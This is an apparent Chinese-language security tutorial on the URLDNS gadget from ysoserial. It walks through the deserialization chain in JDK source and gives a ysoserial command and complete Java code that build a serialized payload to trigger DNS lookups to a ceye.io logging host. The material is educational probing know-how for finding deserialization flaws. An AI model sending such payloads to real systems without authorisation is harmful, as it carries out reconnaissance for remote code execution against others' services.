前言

URLDNS是ysoserial中比较简单的gadget，可以通过分析其利用链来了解反序列化执行java代码的过程。相较于其他gadget，URLDNS不依赖于第三方类和不限制jdk版本的属性使其成为应用最多的探测Java反序列化命令执行的payload。

 

示例

使用ysoserial生成URLDNS gadget payload

java -jar ysoserial.jar URLDNS “http://xxxx.ceye.io” > 1.ser

desEmploy.java readObject()反序列化该字节序列，实现dns解析

使用SerializationDumper查看字节序列内容。

STREAM_MAGIC – 0xac ed STREAM_VERSION – 0x00 05 Contents TC_OBJECT – 0x73 TC_CLASSDESC – 0x72 className Length – 17 – 0x00 11 Value – java.util.HashMap – 0x6a6176612e7574696c2e486173684d6170 serialVersionUID – 0x05 07 da c1 c3 16 60 d1 newHandle 0x00 7e 00 00 classDescFlags – 0x03 – SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount – 2 – 0x00 02 Fields 0: Float – F – 0x46 fieldName Length – 10 – 0x00 0a Value – loadFactor – 0x6c6f6164466163746f72 1: Int – I – 0x49 fieldName Length – 9 – 0x00 09 Value – threshold – 0x7468726573686f6c64 classAnnotations TC_ENDBLOCKDATA – 0x78 superClassDesc TC_NULL – 0x70 newHandle 0x00 7e 00 01 classdata java.util.HashMap values loadFactor (float)1.06115891E9 – 0x3f 40 00 00 threshold (int)12 – 0x00 00 00 0c objectAnnotation TC_BLOCKDATA – 0x77 Length – 8 – 0x08 Contents – 0x0000001000000001 TC_OBJECT – 0x73 TC_CLASSDESC – 0x72 className Length – 12 – 0x00 0c Value – java.net.URL – 0x6a6176612e6e65742e55524c serialVersionUID – 0x96 25 37 36 1a fc e4 72 newHandle 0x00 7e 00 02 classDescFlags – 0x03 – SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount – 7 – 0x00 07 Fields 0: Int – I – 0x49 fieldName Length – 8 – 0x00 08 Value – hashCode – 0x68617368436f6465 1: Int – I – 0x49 fieldName Length – 4 – 0x00 04 Value – port – 0x706f7274 2: Object – L – 0x4c fieldName Length – 9 – 0x00 09 Value – authority – 0x617574686f72697479 className1 TC_STRING – 0x74 newHandle 0x00 7e 00 03 Length – 18 – 0x00 12 Value – Ljava/lang/String; – 0x4c6a6176612f6c616e672f537472696e673b 3: Object – L – 0x4c fieldName Length – 4 – 0x00 04 Value – file – 0x66696c65 className1 TC_REFERENCE – 0x71 Handle – 8257539 – 0x00 7e 00 03 4: Object – L – 0x4c fieldName Length – 4 – 0x00 04 Value – host – 0x686f7374 className1 TC_REFERENCE – 0x71 Handle – 8257539 – 0x00 7e 00 03 5: Object – L – 0x4c fieldName Length – 8 – 0x00 08 Value – protocol – 0x70726f746f636f6c className1 TC_REFERENCE – 0x71 Handle – 8257539 – 0x00 7e 00 03 6: Object – L – 0x4c fieldName Length – 3 – 0x00 03 Value – ref – 0x726566 className1 TC_REFERENCE – 0x71 Handle – 8257539 – 0x00 7e 00 03 classAnnotations TC_ENDBLOCKDATA – 0x78 superClassDesc TC_NULL – 0x70 newHandle 0x00 7e 00 04 classdata java.net.URL values hashCode (int)-1 – 0xff ff ff ff port (int)-1 – 0xff ff ff ff authority (object) TC_STRING – 0x74 newHandle 0x00 7e 00 05 Length – 14 – 0x00 0e Value – m.ceye.io – 0x6963696d77382e636579652e696f file (object) TC_STRING – 0x74 newHandle 0x00 7e 00 06 Length – 0 – 0x00 00 Value – – 0x host (object) TC_REFERENCE – 0x71 Handle – 8257541 – 0x00 7e 00 05 protocol (object) TC_STRING – 0x74 newHandle 0x00 7e 00 07 Length – 4 – 0x00 04 Value – http – 0x68747470 ref (object) TC_NULL – 0x70 objectAnnotation TC_ENDBLOCKDATA – 0x78 TC_STRING – 0x74 newHandle 0x00 7e 00 08 Length – 21 – 0x00 15 Value – http://xxx.ceye.io – 0x687474703a2f2f6963696d77382e636579652e696f TC_ENDBLOCKDATA – 0x78

根据输出结果得出：className，这是一个HashMap对象序列化后的字节序列；classDescFlags为3，表示该类重写了readObject方法；classdata，HashMap中key&value是一个URL对象。

 

Gadget chains跟进分析

Gadget chains

HashMap.readObjetc() HashMap.putVal() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()

根据SerializationDumper给出的信息，可以看出该payload的利用需要HashMap.readObject()方法来反序列化。

HashMap.readOject()

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException(“Illegal load factor: ” + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException(“Illegal mappings count: ” + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25…4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it’s the nearest public type to // what we’re actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({“rawtypes”,”unchecked”}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings(“unchecked”) K key = (K) s.readObject(); @SuppressWarnings(“unchecked”) V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }

putVal(hash(key), key, value, false, false)–>HashMap.hash()

static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }

key.hashCode()–>URL.hashCode()

public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }

payload中URL对象hashCode为-1，进入handler.hashCode(this)–>URLStreamHandler.hashCode()

protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }

InetAddress addr = getHostAddress(u)，触发dns请求。

 

URLDNS Gadget payload构造

上面分析了URLDNS Gadget是如何触发的，逆推就可得出payload的生成方法。

import java.net.URL; import java.util.HashMap; public class genURLPoc { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap hashMap = new HashMap<>(); URL url = new URL(“http://xxx.ceye.io”); hashMap.put(url,123); } }

此时url的hashcode为默认值-1，当进行HashMap.put()，时会重新计算hash(key)触发dns请求即生成payload时dnslog就会收到dns请求，会对检查结果产生影响。

需要修改默认的hashcode为除-1外的任意值，使生成payload时不触发dns请求。由于hashCode使用private修饰，所以需要反射的方式来修改其值，put进hashMap后再将其修改为-1，完整payload如下。

import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class genURLPoc { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap hashMap = new HashMap<>(); URL url = new URL(“http://xxx.ceye.io”); //通过反射修改hashCode, Field f = Class.forName(“java.net.URL”).getDeclaredField(“hashCode”); f.setAccessible(true); f.set(url,123); System.out.println(url.hashCode()); hashMap.put(url,123); f.set(url,-1); //序列化hashMap，储存于urldns.ser try{ FileOutputStream fileOutputStream = new FileOutputStream(“./urldns.ser”); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(hashMap); outputStream.close(); fileOutputStream.close(); }catch(Exception e){ e.printStackTrace(); } } }

使用之前实验用的desEmploy.java反序列化urldns.ser，dnslog收到请求。